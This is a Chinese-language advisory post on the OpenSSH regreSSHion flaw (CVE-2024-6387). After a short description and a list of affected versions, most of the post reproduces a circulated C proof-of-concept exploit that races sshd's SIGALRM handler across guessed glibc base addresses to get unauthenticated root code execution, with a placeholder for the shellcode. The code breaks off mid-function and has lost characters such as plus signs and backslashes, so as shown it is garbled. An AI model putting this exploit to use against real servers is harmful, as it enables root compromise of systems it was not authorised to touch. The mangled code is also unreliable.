0x00 前言
OpenSSH是SSH(Secure SHell)协议的免费开源实现。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcp ftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。
OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。
OpenSSH广泛用于基于Unix的系统,通常用于远程登录和远程文件传输,以及其他网络服务。
0x01 漏洞描述
默认配置下的OpenSSH Server (sshd)中存在信号处理程序竞争条件漏洞,如果客户端未在LoginGraceTime 秒内(默认情况下为 120 秒,旧版 OpenSSH 中为 600 秒)进行身份验证,则 sshd 的 SIGALRM 处理程序将被异步调用,但该信号处理程序会调用各种非async-signal-safe的函数(例如syslog()),威胁者可利用该漏洞在基于 glibc 的 Linux 系统上以root 身份实现未经身份验证的远程代码执行。
0x02 CVE编号
CVE-2024-6387
0x03 影响版本
8.5p1 <= OpenSSH < 9.8p1
OpenBSD系统不受该漏洞影响
0x04 漏洞详情
网传POC,自己辨别:
https://github.com/7etsuo/cve-2024-6387-poc
代码语言:javascript复制/** 7etsuo-regreSSHion.c
* -------------------------------------------------------------------------
* SSH-2.0-OpenSSH_9.2p1 Exploit
* -------------------------------------------------------------------------
*
* Exploit Title : SSH Exploit for CVE-2024-6387 (regreSSHion)
* Author : 7etsuo
* Date : 2024-07-01
*
* Description:
* Targets a signal handler race condition in OpenSSH's
* server (sshd) on glibc-based Linux systems. It exploits a vulnerability
* where the SIGALRM handler calls async-signal-unsafe functions, leading
* to rce as root.
*
* Notes:
* 1. Shellcode : Replace placeholder with actual payload.
* 2. GLIBC_BASES : Needs adjustment for specific target systems.
* 3. Timing parameters: Fine-tune based on target system responsiveness.
* 4. Heap layout : Requires tweaking for different OpenSSH versions.
* 5. File structure offsets: Verify for the specific glibc version.
* -------------------------------------------------------------------------
*/
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "x90x90x90x90";
int setup_connection (const char *ip, int port);
void send_packet (int sock, unsigned char packet_type,
const unsigned char *data, size_t len);
void prepare_heap (int sock);
void time_final_packet (int sock, double *parsing_time);
int attempt_race_condition (int sock, double parsing_time,
uint64_t glibc_base);
double measure_response_time (int sock, int error_type);
void create_public_key_packet (unsigned char *packet, size_t size,
uint64_t glibc_base);
void create_fake_file_structure (unsigned char *data, size_t size,
uint64_t glibc_base);
void send_ssh_version (int sock);
int receive_ssh_version (int sock);
void send_kex_init (int sock);
int receive_kex_init (int sock);
int perform_ssh_handshake (int sock);
int
main (int argc, char *argv[])
{
if (argc != 3)
{
fprintf (stderr, "Usage: %s <ip> <port>n", argv[0]);
exit (1);
}
const char *ip = argv[1];
int port = atoi (argv[2]);
double parsing_time = 0;
int success = 0;
srand (time (NULL));
// Attempt exploitation for each possible glibc base address
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx )
{
uint64_t glibc_base = GLIBC_BASES[base_idx];
printf ("Attempting exploitation with glibc base: 0x%lxn", glibc_base);
// The advisory mentions "~10,000 tries on average"
for (int attempt = 0; attempt < 20000 && !success; attempt )
{
if (attempt % 1000 == 0)
{
printf ("Attempt %d of 20000n", attempt);
}
int sock = setup_connection (ip, port);
if (sock < 0)
{
fprintf (stderr, "Failed to establish connection, attempt %dn",
attempt);
continue;
}
if (perform_ssh_handshake (sock) < 0)
{
fprintf (stderr, "SSH handshake failed, attempt %dn", attempt);
close (sock);
continue;
}
prepare_heap (sock);
time_final_packet (sock, &parsing_time);
if (attempt_race_condition (sock, parsing_time, glibc_base))
{
printf ("Possible exploitation success on attempt %d with glibc "
"base 0x%lx!n",
attempt, glibc_base);
success = 1;
break;
}
close (sock);
usleep (100000); // 100ms delay between attempts, as mentioned in the
// advisory
}
}
return !success;
}
int
setup_connection (const char *ip, int port)
{
int sock = socket (AF_INET, SOCK_STREAM, 0);
if (sock < 0)
{
perror ("socket");
return -1;
}
struct sockaddr_in server_addr;
memset (&server_addr, 0, sizeof (server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons (port);
if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
{
perror ("inet_pton");
close (sock);
return -1;
}
if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
< 0)
{
perror ("connect");
close (sock);
return -1;
}
// Set socket to non-blocking mode
int flags = fcntl (sock, F_GETFL, 0);
fcntl (sock, F_SETFL, flags | O_NONBLOCK);
return sock;
}
void
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
size_t len)
{
unsigned char packet[MAX_PACKET_SIZE];
size_t packet_len = len 5;
packet[0] = (packet_len >> 24) & 0xFF;
packet[1] = (packet_len >> 16) & 0xFF;
packet[2] = (packet_len >> 8) & 0xFF;
packet[3] = packet_len & 0xFF;
packet[4] = packet_type;
memcpy (packet 5, data, len);
if (send (sock, packet, packet_len, 0) < 0)
{
perror ("send_packet");
}
}
void
send_ssh_version (int sock)
{
const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1rn";
if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
{
perror ("send ssh version");
}
}
int
receive_ssh_version (int sock)
{
char buffer[256];
ssize_t received;
do
{
received = recv (sock, buffer, sizeof (buffer) - 1, 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0)
{
buffer[received] = '